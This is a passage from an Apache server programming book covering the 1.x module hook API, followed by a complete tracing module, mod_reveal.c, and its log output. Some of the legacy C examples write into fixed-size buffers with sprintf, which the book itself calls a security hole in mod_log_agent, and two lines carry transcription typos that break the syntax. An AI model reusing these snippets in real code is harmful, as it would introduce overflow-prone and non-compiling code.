permission to access the URL.

15.3.13.1. Example

An obvious user of this hook is mod_auth.c:

int authenticate_basic_user (request_rec *r)
{
    auth_config_rec *sec =
      (auth_config_rec *)get_module_config (r->per_dir_config, &auth_module);
    conn_rec *c = r->connection;
    char *sent_pw, *real_pw;
    char errstr[MAX_STRING_LEN];
    int res;

    if ((res = get_basic_auth_pw (r, &sent_pw))) return res;

    if(!sec->auth_pwfile)
        return DECLINED;

    if (!(real_pw = get_pw(r, c->user, sec->auth_pwfile))) {
        sprintf(errstr,"user %s not found",c->user);
        log_reason (errstr, r->uri, r);
        note_basic_auth_failure (r);
        return AUTH_REQUIRED;
    }

    if(strcmp(real_pw,(char *)crypt(sent_pw,real_pw))) {
        sprintf(errstr,"user %s: password mismatch",c->user);
        log_reason (errstr, r->uri, r);
        note_basic_auth_failure (r);
        return AUTH_REQUIRED;
    }

    return OK;
}

15.3.14. Check Auth

int
module_check_auth(request_rec *pReq)

This hook is called to check whether the authenticated user (found in pReq->connection->user) is permitted to access the current URL. It normally uses the per-directory configuration (remembering that this is actually the combined directory, location, and file configuration) to determine this. It must return OK, DECLINED, or a status code. Again, the usual status to return is HTTP_UNAUTHORIZED if access is denied, thus giving the user a chance to present new credentials. Modules are polled until one returns something other than DECLINED.

15.3.14.1. Example

Again, the natural example to use is from mod_auth.c:

int check_user_access (request_rec *r) {
    auth_config_rec *sec =
      (auth_config_rec *)get_module_config (r->per_dir_config, &auth_module);
    char *user = r->connection->user;
    int m = r->method_number;
    int method_restricted = 0;
    register int x;
    char *t, *w;
    table *grpstatus;
    array_header *reqs_arr = requires (r);
    require_line *reqs;

    if (!reqs_arr)
        return (OK);
    reqs = (require_line *)reqs_arr->elts;

    if(sec->auth_grpfile)
        grpstatus = groups_for_user (r->pool, user, sec->auth_grpfile);
    else
        grpstatus = NULL;

    for(x=0; x < reqs_arr->nelts; x++) {

        if (! (reqs[x].method_mask & (1 << m))) continue;

        method_restricted = 1;

        t = reqs[x].requirement;
        w = getword(r->pool, &t, ' ');
        if(!strcmp(w,"valid-user"))
            return OK;
        if(!strcmp(w,"user")) {
            while(t[0]) {
                w = getword_conf (r->pool, &t);
                if(!strcmp(user,w))
                    return OK;
            }
        }
        else if(!strcmp(w,"group")) {
            if(!grpstatus)
                return DECLINED;        /* DBM group?  Something else? */

            while(t[0]) {
                w = getword_conf(r->pool, &t);
                if(table_get (grpstatus, w))
                    return OK;
            }
        }
    }

    if (!method_restricted)
        return OK;

    note_basic_auth_failure (r);

    return AUTH_REQUIRED;}

15.3.15. Type Checker

int module_type_checker(request_rec *pReq)

At this stage, we have almost finished processing the request. All that is left to decide is who actually handles it. This is done in two stages: first, by converting the URL or filename into a MIME type or handler string, a language, and an encoding; and second, by calling the appropriate function for the type. This hook deals with the first part. If it generates a MIME type, it should be stored in pReq->content_type. Alternatively, if it generates a handler string, it should be stored in pReq->handler. The languages go in pReq->content_languages, and the encoding in pReq->content_encoding. Note that there is no defined way of generating a unique handler string. Furthermore, handler strings and MIME types are matched to the request handler through the same table, so the handler string should probably not be a MIME type.[85]

[85]Old hands may recall that earlier versions of Apache used "magic" MIME types to cause certain request handlers to be invoked, such as the CGI handler. Handler strings were invented to remove this kludge.

15.3.15.1. Example

One obvious place that this must go on is in mod_mime.c:

int find_ct(request_rec *r)
{
    char *fn = strrchr(r->filename, '/'.;
    mime_dir_config *conf =
      (mime_dir_config *)get_module_config(r->per_dir_config, &mime_module);
    char *ext, *type, *orighandler = r->handler;

    if (S_ISDIR(r->finfo.st_mode)) {
        r->content_type = DIR_MAGIC_TYPE;
        return OK;
    }

    if(fn == NULL) fn = r->filename;

    /* Parse filename extensions, which can be in any order */
    while ((ext = getword(r->pool, &fn, '.')) && *ext) {
      int found = 0;

      /* Check for Content-Type */
      if ((type = table_get (conf->forced_types, ext))
          || (type = table_get (hash_buckets[hash(*ext)], ext))) {
          r->content_type = type;
          found = 1;
      }

      /* Check for Content-Language */
      if ((type = table_get (conf->language_types, ext))) {
          r->content_language = type;
          found = 1;
      }

      /* Check for Content-Encoding */
      if ((type = table_get (conf->encoding_types, ext))) {
          if (!r->content_encoding)
              r->content_encoding = type;
          else
              r->content_encoding = pstrcat(r->pool, r->content_encoding,
                                            ", ", type, NULL);
          found = 1;
      }

      /* Check for a special handler, but not for proxy request */
      if ((type = table_get (conf->handlers, ext)) && !r->proxyreq) {
          r->handler = type;
          found = 1;
      }

      /* This is to deal with cases such as foo.gif.bak, which we want
       * to not have a type. So if we find an unknown extension, we
       * zap the type/language/encoding and reset the handler.
       */

      if (!found) {
        r->content_type = NULL;
        r->content_language = NULL;
        r->content_encoding = NULL;
        r->handler = orighandler;
      }
    }

    /* Check for overrides with ForceType/SetHandler */

    if (conf->type && strcmp(conf->type, "none"))
        r->content_type = pstrdup(r->pool, conf->type);
    if (conf->handler && strcmp(conf->handler, "none"))
        r->handler = pstrdup(r->pool, conf->handler);

    if (!r->content_type) return DECLINED;

    return OK;
}

Another example can be found in mod_negotiation.c, but it is rather more complicated than is needed to illustrate the point.

15.3.16. Prerun Fixups

int

module_fixups(request_rec *pReq)

Nearly there! This is your last chance to do anything that might be needed before the request is finally handled. At this point, all processing that is going to be done before the request is handled has been completed, the request is going to be satisfied, and all that is left to do is anything the request handler won't do. Examples of what you might do here include setting environment variables for CGI scripts, adding headers to pReq->header_out, or even setting something to modify the behavior of another module's handler in pReq->notes. Things you probably shouldn't do at this stage are many, but, most importantly, you should leave anything security-related alone, including, but certainly not limited to, the URL, the filename, and the username. Most modules won't use this hook because they do their real work elsewhere.

15.3.16.1. Example

As an example, we will set the environment variables for a shell script. Here's where it's done in mod_env.c:

int fixup_env_module(request_rec *r)
{
    table *e = r->subprocess_env;
    server_rec *s = r->server;
    env_server_config_rec *sconf = get_module_config (s->module_config,
                                                      &env_module);
    table *vars = sconf->vars;
    if ( !sconf->vars_present ) return DECLINED;
    r->subprocess_env = overlay_tables( r->pool, e, vars );
    return OK;
}

Notice that this doesn't directly set the environment variables; that would be pointless because a subprocess's environment variables are created anew from pReq->subprocess_env. Also notice that, as is often the case in computing, considerably more effort is spent in processing the configuration for mod_env.c than is spent at the business end.

Another example can be found in mods_pics_simple.c:

static int pics_simple_fixup (request_rec *r) {
    char **stuff = (char **)get_module_config (r->per_dir_config,
                                               &pics_simple_module);
    if (!*stuff) return DECLINED;
    table_set (r->headers_out, "PICS-label", *stuff);
    return DECLINED;
}

This has such a simple configuration (just a string) that it doesn't even bother with a configuration structure.[86] All it does is set the PICS-label header with the string derived from the directory, location, and file relevant to the current request.

[86]Not a technique we particularly like, but there we are.

15.3.17. Handlers

handler_rec aModuleHandlers[];

The definition of a handler_rec can be found in http_config.h :

typedef struct {
    char *content_type;
    int (*handler)(request_rec *);
} handler_rec;

Finally, we are ready to handle the request. The core now searches through the modules' handler entries, looking for an exact match for either the handler type or the MIME type, in that order (that is, if a handler type is set, that is used; otherwise, the MIME type is used). When a match is found, the corresponding handler function is called. This will do the actual business of serving the user's request. Often you won't want to do this, because you'll have done the work of your module earlier, but this is the place to run your Java, translate to Swedish, or whatever you might want to do to serve actual content to the user. Most handlers either send some kind of content directly (in which case, they must remember to call send_http_header() before sending the content) or use one of the internal redirect methods (e.g., internal_redirect()).

15.3.17.1. Example

mod_status.c only implements a handler; here's the handler's table:

handler_rec status_handlers[] =
{
{ STATUS_MAGIC_TYPE, status_handler },
{ "server-status", status_handler },
{ NULL }
};

We don't show the actual handler here, because it is big and boring. All it does is trawl through the scoreboard (which records details of the various child processes) and generate a great deal of HTML. The user invokes this handler with either a SetHandler or an AddHandler; however, since the handler makes no use of a file, SetHandler is the more natural way to do it. Notice the reference to STATUS_MAGIC_TYPE. This is a "magic" MIME type, the use of which is now deprecated, but we must retain it for backward compatibility in this particular module.

15.3.18. Logger

int module_logger(request_rec *pRec)

Now that the request has been processed and the dust has settled, you may want to log the request in some way. Here's your chance to do that. Although the core stops running the logger function as soon as a module returns something other than OK or DECLINED, that is rarely done, as there is no way to know whether another module needs to be able to log something.

15.3.18.1. Example

Although mod_log_agent.c is more or less out of date since mod_log_config.c was introduced, it makes a nice, compact example:

int agent_log_transaction(request_rec *orig)
{
    agent_log_state *cls = get_module_config (orig->server->module_config,
                                              &agent_log_module);

    char str[HUGE_STRING_LEN];
    char *agent;
    request_rec *r;
    if(cls->agent_fd <0)
      return OK;

    for (r = orig; r->next; r = r->next)
        continue;
    if (*cls->fname == '\0'.    /* Don't log agent */
        return DECLINED;

    agent = table_get(orig->headers_in, "User-Agent");
    if(agent != NULL)
      {
        sprintf(str, "%s\n", agent);
        write(cls->agent_fd, str, strlen(str));
      }

    return OK;
}

This is not a good example of programming practice. With its fixed-size buffer str, it leaves a gaping security hole. It wouldn't be enough to simply split the write into two parts to avoid this problem. Because the log file is shared among all server processes, the write must be atomic or the log file could get mangled by overlapping writes. mod_log_config.c carefully avoids this problem.

15.3.19. Child Exit

void
child_exit(server_rec *pServer,pool *pPool)

This function is called immediately before a particular child exits. See "Child Initialization," earlier in this chapter, for an explanation of what "child" means in this context. Typically, this function will be used to release resources that are persistent between connections, such as database or file handles.

15.3.19.1. Example

From mod_log_config.c:

static void flush_all_logs(server_rec *s, pool *p)
{
    multi_log_state *mls;
    array_header *log_list;
    config_log_state *clsarray;
    int i;

    for (; s; s = s->next) {
        mls = ap_get_module_config(s->module_config, &config_log_module);
        log_list = NULL;
        if (mls->config_logs->nelts) {
            log_list = mls->config_logs;
        }
        else if (mls->server_config_logs) {
            log_list = mls->server_config_logs;
        }
        if (log_list) {
            clsarray = (config_log_state *) log_list->elts;
            for (i = 0; i < log_list->nelts; ++i) {
                flush_log(&clsarray[i]);
            }
        }
    }
}

This routine is only used when BUFFERED_LOGS is defined. Predictably enough, it flushes all the buffered logs, which would otherwise be lost when the child exited.

Previous | Home | Next
15.2. Status Codes | Book Index | 15.4. A Complete Example
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Complete Example (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

15.4. A Complete Example

We spent some time trying to think of an example of a module that uses all the available hooks. At the same time, we spent considerable effort tracking through the innards of Apache to find out what happened when. Then we suddenly thought of writing a module to show what happened when. And, presto, mod_reveal.c was born. This is not a module you'd want to include in a live Apache without modification, since it prints stuff to the standard error output (which ends up in the error log, for the most part). But rather than obscure the main functionality by including code to switch the monitoring on and off, we thought it best to keep it simple. Besides, even in this form the module is very useful; it's presented and explained in this section.

15.4.1. Overview

The module implements two commands, RevealServerTag and RevealTag. RevealServerTag names a server section and is stored in the per-server configuration. RevealTag names a directory (or location or file) section and is stored in the per-directory configuration. When per-server or per-directory configurations are merged, the resulting configuration is tagged with a combination of the tags of the two merged sections. The module also implements a handler, which generates HTML with interesting information about a URL.

No self-respecting module starts without a copyright notice:

/*
Reveal the order in which things are done.

Copyright (C) 1996, 1998 Ben Laurie
*/

Note that the included http_protocol.h is only needed for the request handler, the other two are required by almost all modules:

#include "httpd.h"
#include "http_config.h"
#include "http_protocol.h"

The per-directory configuration structure is:

typedef struct
    {
    char *szDir;
    char *szTag;
    } SPerDir;

And the per-server configuration structure is:

typedef struct
    {
    char *szServer;
    char *szTag;
    } SPerServer;

There is an unavoidable circular reference in most modules; the module structure is needed to access the per-server and per-directory configurations in the hook functions. But in order to construct the module structure, we need to know the hook functions. Since there is only one module structure and a lot of hook functions, it is simplest to forward reference the module structure:

extern module reveal_module;

If a string is NULL, it may crash printf() on some systems, so we define a function to give us a stand-in for NULL strings:

static const char *None(const char *szStr)
    {
    if(szStr)
    return szStr;
    return "(none)";
    }

Since the server names and port numbers are often not known when the per-server structures are created, but are filled in by the time the initialization function is called, we rename them in the init function. Note that we have to iterate over all the servers, since init is only called with the "main" server structure. As we go, we print the old and new names so we can see what is going on. Just for completeness, we add a module version string to the server version string. Note that you would not normally do this for such a minor module:

static void SubRevealInit(server_rec *pServer,pool *pPool)
    {
    SPerServer *pPerServer=ap_get_module_config(pServer->module_config,
                                                &reveal_module);

    if(pServer->server_hostname &&
       (!strncmp(pPerServer->szServer,"(none):",7)
        || !strcmp(pPerServer->szServer+strlen(pPerServer->szServer)
                   -2,":0")))
    {
        char szPort[20];

        fprintf(stderr,"Init        : update server name from %s\n",
                pPerServer->szServer);
        sprintf(szPort,"%d",pServer->port);
        pPerServer->szServer=ap_pstrcat(pPool,pServer->server_hostname,":",
                                        szPort,NULL);
    }
    fprintf(stderr,"Init        : host=%s port=%d server=%s tag=%s\n",
            pServer->server_hostname,pServer->port,pPerServer->szServer,
            None(pPerServer->szTag));
    }

static void RevealInit(server_rec *pServer,pool *pPool)
    {
    ap_add_version_component("Reveal/0.0");
    for( ; pServer ; pServer=pServer->next)
        SubRevealInit(pServer,pPool);
    fprintf(stderr,"Init        : done\n");
    }

Here we create the per-server configuration structure. Since this is called as soon as the server is created, pServer->server_hostname and pServer->port may not have been initialized, so their values must be taken with a pinch of salt (but they get corrected later):

static void *RevealCreateServer(pool *pPool,server_rec *pServer)
    {
    SPerServer *pPerServer=ap_palloc(pPool,sizeof *pPerServer);
    const char *szServer;
    char szPort[20];

    szServer=None(pServer->server_hostname);
    sprintf(szPort,"%d",pServer->port);

    pPerServer->szTag=NULL;
    pPerServer->szServer=ap_pstrcat(pPool,szServer,":",szPort,NULL);

    fprintf(stderr,"CreateServer: server=%s:%s\n",szServer,szPort);
    return pPerServer;
    }

Here we merge two per-server configurations. The merged configuration is tagged with the names of the two configurations from which it is derived (or the string (none) if they weren't tagged). Note that we create a new per-server configuration structure to hold the merged information (this is the standard thing to do):

static void *RevealMergeServer(pool *pPool,void *_pBase,void *_pNew)
    {
    SPerServer *pBase=_pBase;
    SPerServer *pNew=_pNew;
    SPerServer *pMerged=ap_palloc(pPool,sizeof *pMerged);

    fprintf(stderr,
          "MergeServer : pBase: server=%s tag=%s pNew: server=%s tag=%s\n",
          pBase->szServer,None(pBase->szTag),
          pNew->szServer,None(pNew->szTag));

    pMerged->szServer=ap_pstrcat(pPool,pBase->szServer,"+",pNew->szServer,
                                 NULL);
    pMerged->szTag=ap_pstrcat(pPool,None(pBase->szTag),"+",
                              None(pNew->szTag),NULL);

    return pMerged;
    }

Now we create a per-directory configuration structure. If szDir is NULL, we change it to (none) to ensure that later merges have something to merge! Of course, szDir is NULL once for each server. Notice that we don't log which server this was created for; that's because there is no legitimate way to find out. It is also worth mentioning that this will only be called for a particular directory (or location or file) if a RevealTag directive occurs in that section:

static void *RevealCreateDir(pool *pPool,char *_szDir)
    {
    SPerDir *pPerDir=ap_palloc(pPool,sizeof *pPerDir);
    const char *szDir=None(_szDir);

    fprintf(stderr,"CreateDir   : dir=%s\n",szDir);

    pPerDir->szDir=ap_pstrdup(pPool,szDir);
    pPerDir->szTag=NULL;

    return pPerDir;
    }

Next we merge the per-directory structures. Again, we have no clue which server we are dealing with. In practice, you'll find this function is called a great deal:

static void *RevealMergeDir(pool *pPool,void *_pBase,void *_pNew)
    {
    SPerDir *pBase=_pBase;
    SPerDir *pNew=_pNew;
    SPerDir *pMerged=ap_palloc(pPool,sizeof *pMerged);

    fprintf(stderr,"MergeDir    : pBase: dir=%s tag=%s "
            "pNew: dir=%s tag=%s\n",pBase->szDir,None(pBase->szTag),
            pNew->szDir,None(pNew->szTag));
    pMerged->szDir=ap_pstrcat(pPool,pBase->szDir,"+",pNew->szDir,NULL);
    pMerged->szTag=ap_pstrcat(pPool,None(pBase->szTag),"+",
                              None(pNew->szTag),NULL);

    return pMerged;
    }

Here is a helper function used by most of the other hooks to show the per-server and per-directory configurations currently in use. Although it caters to the situation in which there is no per-directory configuration, that should never happen:[87]

[87]It happened while we were writing the module, because of a bug in the Apache core. We fixed the bug.

static void ShowRequestStuff(request_rec *pReq)
    {
    SPerDir *pPerDir=get_module_config(pReq->per_dir_config,
               &reveal_module);
    SPerServer *pPerServer=get_module_config(pReq->server->
               module_config,&reveal_module);
    SPerDir none={"(null)","(null)"};
    SPerDir noconf={"(no per-dir config)","(no per-dir config)"};

    if(!pReq->per_dir_config)
        pPerDir=&noconf;
    else if(!pPerDir)
        pPerDir=&none;

    fprintf(stderr," server=%s tag=%s dir=%s tag=%s\n",
            pPerServer->szServer,pPerServer->szTag,pPerDir->szDir,
               pPerDir->szTag);
    }

None of the following hooks does anything more than trace itself:

static int RevealTranslate(request_rec *pReq)
    {
    fprintf(stderr,"Translate   : uri=%s",pReq->uri);
    ShowRequestStuff(pReq);
    return DECLINED;
    }

static int RevealCheckUserID(request_rec *pReq)
    {
    fprintf(stderr,"CheckUserID :");
    ShowRequestStuff(pReq);
    return DECLINED;
    }

static int RevealCheckAuth(request_rec *pReq)
    {
    fprintf(stderr,"CheckAuth   :");
    ShowRequestStuff(pReq);
    return DECLINED;
    }

static int RevealCheckAccess(request_rec *pReq)
    {
    fprintf(stderr,"CheckAccess :");
    ShowRequestStuff(pReq);
    return DECLINED;
    }

static int RevealTypeChecker(request_rec *pReq)
    {
    fprintf(stderr,"TypeChecker :");
    ShowRequestStuff(pReq);
    return DECLINED;
    }

static int RevealFixups(request_rec *pReq)
    {
    fprintf(stderr,"Fixups      :");
    ShowRequestStuff(pReq);
    return DECLINED;
    }

static int RevealLogger(request_rec *pReq)
    {
    fprintf(stderr,"Logger      :");
    ShowRequestStuff(pReq);
    return DECLINED;
    }

static int RevealHeaderParser(request_rec *pReq)
    {
    fprintf(stderr,"HeaderParser:");
    ShowRequestStuff(pReq);

    return DECLINED;
    }

Next comes the child initialization function. This extends the server tag to include the PID of the particular server instance it is in. Note that, like the init function, it must iterate through all the server instances:

static void RevealChildInit(server_rec *pServer, pool *pPool)
    {
    char szPID[20];

    fprintf(stderr,"Child Init  : pid=%d\n",(int)getpid());

    sprintf(szPID,"[%d]",(int)getpid());
    for( ; pServer ; pServer=pServer->next)
        {
        SPerServer *pPerServer=ap_get_module_config(pServer->module_config,
                                                    &reveal_module);
        pPerServer->szServer=ap_pstrcat(pPool,pPerServer->szServer,szPID,
                                        NULL);
        }
    }

Then the last two hooks are simply logged:

static void RevealChildExit(server_rec *pServer, pool *pPool)
    {
    fprintf(stderr,"Child Exit  : pid=%d\n",(int)getpid());
    }

static int RevealPostReadRequest(request_rec *pReq)
    {
    fprintf(stderr,"PostReadReq : method=%s uri=%s protocol=%s",
            pReq->method,pReq->unparsed_uri,pReq->protocol);
    ShowRequestStuff(pReq);

    return DECLINED;
    }

The following is the handler for the RevealTag directive. If more than one RevealTag appears in a section, they are glued together with a "-" separating them. A NULL is returned to indicate that there was no error:

static const char *RevealTag(cmd_parms *cmd, SPerDir *pPerDir, char *arg)
    {
    SPerServer *pPerServer=ap_get_module_config(cmd->server->module_config,
                                                &reveal_module);

    fprintf(stderr,"Tag         : new=%s dir=%s server=%s tag=%s\n",
            arg,pPerDir->szDir,pPerServer->szServer,
            None(pPerServer->szTag));

    if(pPerDir->szTag)
        pPerDir->szTag=ap_pstrcat(cmd->pool,pPerDir->szTag,"-",arg,NULL);
    else
        pPerDir->szTag=ap_pstrdup(cmd->pool,arg);

    return NULL;
    }

This code handles the RevealServerTag directive. Again, if more than one Reveal-ServerTag appears in a server section they are glued together with "-" in between:

static const char *RevealServerTag(cmd_parms *cmd, SPerDir *pPerDir,
                                   char *arg)
    {
    SPerServer *pPerServer=ap_get_module_config(cmd->server->module_config,
                                                &reveal_module);

    fprintf(stderr,"ServerTag   : new=%s server=%s stag=%s\n",arg,
            pPerServer->szServer,None(pPerServer->szTag));

    if(pPerServer->szTag)
        pPerServer->szTag=ap_pstrcat(cmd->pool,pPerServer->szTag,"-",arg,
                                     NULL);
    else
        pPerServer->szTag=ap_pstrdup(cmd->pool,arg);

    return NULL;
    }

Here we bind the directives to their handlers. Note that RevealTag uses ACCESS_CONF|OR_ALL as its req_override so that it is legal wherever a <Directory> section occurs. RevealServerTag only makes sense outside <Directory> sections, so it uses RSRC_CONF:

static command_rec aCommands[]=
    {
{ "RevealTag", RevealTag, NULL, ACCESS_CONF|OR_ALL, TAKE1, "a tag for this
    section"},
{ "RevealServerTag", RevealServerTag, NULL, RSRC_CONF, TAKE1, "a tag for this
    server" },
{ NULL }
    };

These two helper functions simply output things as a row in a table:

static void TShow(request_rec *pReq,const char *szHead,const char *szItem)
    {
    rprintf(pReq,"<TR><TH>%s<TD>%s\n",szHead,szItem);
    }

static void TShowN(request_rec *pReq,const char *szHead,int nItem)
    {
    rprintf(pReq,"<TR><TH>%s<TD>%d\n",szHead,nItem);
    }

The following code is the request handler; it generates HTML describing the configurations that handle the URI:

static int RevealHandler(request_rec *pReq)
    {
    SPerDir *pPerDir=get_module_config(pReq->per_dir_config,
               &reveal_module);
    SPerServer *pPerServer=get_module_config(pReq->server->
               module_config,&reveal_module);

    pReq->content_type="text/html";
    send_http_header(pReq);

    rputs("<CENTER><H1>Revelation of ",pReq);
    rputs(pReq->uri,pReq);
    rputs("</H1></CENTER><HR>\n",pReq);
    rputs("<TABLE>\n",pReq);
    TShow(pReq,"URI",pReq->uri);
    TShow(pReq,"Filename",pReq->filename);
    TShow(pReq,"Server name",pReq->server->server_hostname);
    TShowN(pReq,"Server port",pReq->server->port);
    TShow(pReq,"Server config",pPerServer->szServer);
    TShow(pReq,"Server config tag",pPerServer->szTag);
    TShow(pReq,"Directory config",pPerDir->szDir);
    TShow(pReq,"Directory config tag",pPerDir->szTag);
    rputs("</TABLE>\n",pReq);

    return OK;
    }

Here we associate the request handler with the handler string:

static handler_rec aHandlers[]=
    {
{ "reveal", RevealHandler },
{ NULL },
    };

And finally, there is the module structure:

module reveal_module = {
   STANDARD_MODULE_STUFF,
   RevealInit,                  /* initializer */
   RevealCreateDir,             /* dir config creater */
   RevealMergeDir,              /* dir merger --- default is to override */
   RevealCreateServer,          /* server config */
   RevealMergeServer,           /* merge server configs */
   aCommands,                   /* command table */
   aHandlers,                   /* handlers */
   RevealTranslate,             /* filename translation */
   RevealCheckUserID,           /* check_user_id */
   RevealCheckAuth,             /* check auth */
   RevealCheckAccess,           /* check access */
   RevealTypeChecker,           /* type_checker */
   RevealFixups,                /* fixups */
   RevealLogger,                /* logger */
   RevealHeaderParser,          /* header parser */
   RevealChildInit,             /* child init */
   RevealChildExit,             /* child exit */
   RevealPostReadRequest,       /* post read request */
};

The module can be included in Apache by specifying:

AddModule modules/extra/mod_reveal.o

in Configuration. You might like to try it on your favorite server: just pepper the httpd.conf file with RevealTag and RevealServerTag directives. Because of the huge amount of logging this produces, it would be unwise to use it on a live server!

15.4.2. Example Output

To illustrate mod_reveal.c in use, we used the following configuration:

Listen 9001
Listen 9000

TransferLog /home/ben/www/book/logs/access_log
ErrorLog /home/ben/www/book/logs/error_log
RevealTag MainDir
RevealServerTag MainServer
<LocationMatch /.reveal>
RevealTag Revealer
SetHandler reveal
</LocationMatch>

<VirtualHost :9001>
DocumentRoot /home/ben/www/docs
RevealTag H1Main
RevealServerTag H1
<Directory /home/ben/www/docs/protected>
 RevealTag H1ProtectedDirectory
</Directory>
<Location /protected>
 RevealTag H1ProtectedLocation
</Location>
</VirtualHost>

<VirtualHost :9000>
DocumentRoot /home/camilla/WWW/docs
RevealTag H2Main
RevealServerTag H2
</VirtualHost>

Note that the <Directory> and the <Location> sections in the first virtual host actually refer to the same place. This is to illustrate the order in which the sections are combined. Also note that the <LocationMatch> section doesn't have to correspond to a real file; looking at any location that ends with .reveal will invoke mod_reveal.c 's handler. Starting the server produces this on the screen:

bash$ httpd -d ~/www/book/
CreateServer: server=(none):0
CreateDir   : dir=(none)
Tag         : new=MainDir dir=(none) server=(none):0 tag=(none)
ServerTag   : new=MainServer server=(none):0 stag=(none)
CreateDir   : dir=/.reveal
Tag         : new=Revealer dir=/.reveal server=(none):0 tag=MainServer
CreateDir   : dir=(none)
CreateServer: server=(none):9001
Tag         : new=H1Main dir=(none) server=(none):9001 tag=(none)
ServerTag   : new=H1 server=(none):9001 stag=(none)
CreateDir   : dir=/home/ben/www/docs/protected
Tag         : new=H1ProtectedDirectory dir=/home/ben/www/docs/protected
              server=(none):9001 tag=H1
CreateDir   : dir=/protected
Tag         : new=H1ProtectedLocation dir=/protected server=(none):9001
              tag=H1
CreateDir   : dir=(none)
CreateServer: server=(none):9000
Tag         : new=H2Main dir=(none) server=(none):9000 tag=(none)
ServerTag   : new=H2 server=(none):9000 stag=(none)
MergeServer : pBase: server=(none):0 tag=MainServer pNew: server=(none):9000
              tag=H2
MergeDir    : pBase: dir=(none) tag=MainDir pNew: dir=(none) tag=H2Main
MergeServer : pBase: server=(none):0 tag=MainServer pNew: server=(none):9001
              tag=H1
MergeDir    : pBase: dir=(none) tag=MainDir pNew: dir=(none) tag=H1Main

Notice that the <Location> and <LocationMatch> sections are treated as directories as far as the code is concerned. At this point, stderr is switched to the error log, and the following is logged:

Init        : update server name from (none):0
Init        : host=freeby.ben.algroup.co.uk port=0
              server=freeby.ben.algroup.co.uk:0 tag=MainServer
Init        : update server name from (none):0+(none):9000
Init        : host=freeby.ben.algroup.co.uk port=9000
              server=freeby.ben.algroup.co.uk:9000 tag=MainServer+H2
Init        : update server name from (none):0+(none):9001
Init        : host=freeby.ben.algroup.co.uk port=9001
              server=freeby.ben.algroup.co.uk:9001 tag=MainServer+H1
Init        : done

At this point, the first-pass initialization is complete, and Apache destroys the configurations and starts again (this double initialization is required because directives may change things such as the location of the initialization files):[88]

[88]You could argue that this procedure could lead to an infinite sequence of reinitializations. Well, in theory, it could, but in real life, Apache initializes twice, and that is that.

CreateServer: server=(none):0
CreateDir   : dir=(none)
Tag         : new=MainDir dir=(none) server=(none):0 tag=(none)
ServerTag   : new=MainServer server=(none):0 stag=(none)
CreateDir   : dir=/.reveal
Tag         : new=Revealer dir=/.reveal server=(none):0 tag=MainServer
CreateDir   : dir=(none)
CreateServer: server=(none):9001
Tag         : new=H1Main dir=(none) server=(none):9001 tag=(none)
ServerTag   : new=H1 server=(none):9001 stag=(none)
CreateDir   : dir=/home/ben/www/docs/protected
Tag         : new=H1ProtectedDirectory dir=/home/ben/www/docs/protected server=(none):9001 tag=H1
CreateDir   : dir=/protected
Tag         : new=H1ProtectedLocation dir=/protected server=(none):9001
              tag=H1
CreateDir   : dir=(none)
CreateServer: server=(none):9000
Tag         : new=H2Main dir=(none) server=(none):9000 tag=(none)
ServerTag   : new=H2 server=(none):9000 stag=(none)

Now we've created all the server and directory sections, and the top-level server is merged with the virtual hosts:

MergeServer : pBase: server=(none):0 tag=MainServer pNew: server=(none):9000
              tag=H2
MergeDir    : pBase: dir=(none) tag=MainDir pNew: dir=(none) tag=H2Main
MergeServer : pBase: server=(none):0 tag=MainServer pNew: server=(none):9001
              tag=H1
MergeDir    : pBase: dir=(none) tag=MainDir pNew: dir=(none) tag=H1Main

Now the init functions are called (which rename the servers now that their "real" names are known):

Init        : update server name from (none):0
Init        : host=freeby.ben.algroup.co.uk port=0
              server=freeby.ben.algroup.co.uk:0 tag=MainServer
Init        : update server name from (none):0+(none):9000
Init        : host=freeby.ben.algroup.co.uk port=9000
              server=freeby.ben.algroup.co.uk:9000 tag=MainServer+H2
Init        : update server name from (none):0+(none):9001
Init        : host=freeby.ben.algroup.co.uk port=9001
              server=freeby.ben.algroup.co.uk:9001 tag=MainServer+H1
Init        : done

Apache logs its startup message:

[Sun Jul 12 13:08:01 1998] [notice] Apache/1.3.1-dev (Unix) Reveal/0.0 configured -- resuming normal operations

Child inits are called:

Child Init  : pid=23287
Child Init  : pid=23288
Child Init  : pid=23289
Child Init  : pid=23290
Child Init  : pid=23291

And Apache is ready to start handling requests. First, we request http://host:9001/:

PostReadReq : method=GET uri=/ protocol=HTTP/1.0
              server=freeby.ben.algroup.co.uk:9001[23287] tag=MainServer+H1
              dir=(none)+(none) tag=MainDir+H1Main
Translate   : uri=/ server=freeby.ben.algroup.co.uk:9001[23287]
              tag=MainServer+H1 dir=(none)+(none) tag=MainDir+H1Main
HeaderParser: server=freeby.ben.algroup.co.uk:9001[23287] tag=MainServer+H1
              dir=(none)+(none) tag=MainDir+H1Main
CheckAccess : server=freeby.ben.algroup.co.uk:9001[23287] tag=MainServer+H1
              dir=(none)+(none) tag=MainDir+H1Main
TypeChecker : server=freeby.ben.algroup.co.uk:9001[23287] tag=MainServer+H1
              dir=(none)+(none) tag=MainDir+H1Main
Fixups      : server=freeby.ben.algroup.co.uk:9001[23287] tag=MainServer+H1
              dir=(none)+(none) tag=MainDir+H1Main

Because "/" is a directory, Apache attempts to use /index.html instead (in this case, it didn't exist, but Apache still goes through the motions):

Translate   : uri=/index.html server=freeby.ben.algroup.co.uk:9001[23287]
              tag=MainServer+H1 dir=(none)+(none) tag=MainDir+H1Main
CheckAccess : server=freeby.ben.algroup.co.uk:9001[23287] tag=MainServer+H1
              dir=(none)+(none) tag=MainDir+H1Main
TypeChecker : server=freeby.ben.algroup.co.uk:9001[23287] tag=MainServer+H1
              dir=(none)+(none) tag=MainDir+H1Main
Fixups      : server=freeby.ben.algroup.co.uk:9001[23287] tag=MainServer+H1
              dir=(none)+(none) tag=MainDir+H1Main
Logger      : server=freeby.ben.algroup.co.uk:9001[23287] tag=MainServer+H1
              dir=(none)+(none) tag=MainDir+H1Main
Child Init  : pid=23351

Pretty straightforward, but note that the configurations used are the merge of the main server's and the first virtual host's. Also notice the child init at the end: this is because Apache decided the load warranted starting another child to handle it.

Rather than go on at length, here's the most complicated request we can make: http://host:9001/protected/.reveal:

PostReadReq : method=GET uri=/protected/.reveal protocol=HTTP/1.0
              server=freeby.ben.algroup.co.uk:9001[23288] tag=MainServer+H1
              dir=(none)+(none) tag=MainDir+H1Main

After the Post Read Request phase, some merging is done on the basis of location:

MergeDir    : pBase: dir=(none)+(none) tag=MainDir+H1Main pNew: dir=/.reveal
              tag=Revealer
